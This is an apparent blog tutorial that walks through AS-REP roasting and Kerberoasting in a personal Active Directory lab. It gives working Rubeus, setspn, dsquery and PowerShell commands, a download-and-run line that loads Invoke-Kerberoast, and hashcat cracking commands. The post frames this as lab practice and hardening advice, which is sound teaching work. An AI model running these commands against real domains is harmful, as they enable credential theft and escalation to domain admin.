Kerberos Pre-Authentication Hash Retrieval and Cracking

We can enumerate active directory to find accounts that do not require pre-authentication. There’s a simple way of doing this using Rubeus:

.\Rubeus.exe asreproast /format:hashcat

We can see there is a vulnerable account that has Kerberos Pre-Authentication disabled.

This hash can be loaded into hashcat and possibly cracked (the hash in the screenshot is weak on purpose)


Creating SPNs

Creating a service principal name requires the setspn.exe tool. We can create service principal names like so:

setspn -A MSSQLSvc/VULN-SQL01.pwnlab.local:1433 pwnlab\svc_sqldb

setspn -A HTTP/VULN-SQL01 pwnlab\svc_webserver

I’ve created a few to show different examples, one is for an SQL service and one for a web service. The SQL SPN is not Kerberoastable, however the HTTP one is!

Now that we have created some SPNs we can obviously choose the type of vulnerability. In the lab I’ve setup one account (database) without domain admin privileges and a web server service account with domain admin.

Finding SPNs

There are a range of tools that can be used but essentially they use LDAP queries (so you can do this manually loads of ways)

#query for SPNs using DSQUERY

dsquery * “dc=pwnlab,dc=local” -filter “(&(objectcategory=computer) (servicePrincipalName=*))” -attr distinguishedName servicePrincipalName

#query for all SPNs using setspn

setspn -T pwnlab.local -F -Q */*

#Use ADSearch

\ADSearch.exe –search “(&(sAMAccountType=805306368)(servicePrincipalName=*))”

We can also use PoweShell


$spns = ([adsisearcher]'(&(objectCategory=user)(!(samAccountName=krbtgt)(servicePrincipalName=*)))’).FindAll()

foreach($account in $spns)



$spnArray = $account.Properties.serviceprincipalname

write-host $account.Properties.userprincipalname -ForegroundColor Red

foreach($member in $spnArray){

write-host $member -ForegroundColor Green



Requests Tickets

Now for this we are going to use Rubeus but you can use other tools like Powershell, Metasploit and other C2s!

.\Rubeus.exe kerberoast /format:hashcat /nowrap

With file output:

Rubeus.exe kerberoast /format:hashcat /nowrap /consoleoutfile:kerberoast.txt

(use the /nowrap command if you want to make this easier to copy)

Here we can see the hash is dumped from the TGT for the svc_webserver account.

PowerShell Method

You can also use the invoke-kerberoast module from empire:

Invoke-Expression (new-object Net.WebClient).DownloadString(“”)

Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII kerberoast_psh.txt

type kerberoast_psh.txt

Cracking Hashes with Hashcat

Now I’m not going to go into massive details here, but we are going to quickly show the command to run a dictionary attack on the hashes.

.\hashcat.exe -m 13100 .\kerberoast.txt .\rockyou.txt

Remember you can add rules to cracking attempts:

.\hashcat.exe -m 13100 .\kerberoast.txt .\rockyou.txt .\rules\leetspeak.rule

Now if the passwords area weak you will crack the hash. In this lab the svc_webservice is domain admin so if you crack the hash, you would be a domain administrator.


In this post we have created a vulnerable position with AESREPROAST and KERBEROAST and demonstrated a few methods to dump the hashes and attempt a cracking run. Remember to only do this in your own labs or with authorisation.

Hopefully this helps people see the process, so they can check their directories and harden them against this common escalation and lateral movement technique.

Leave a Reply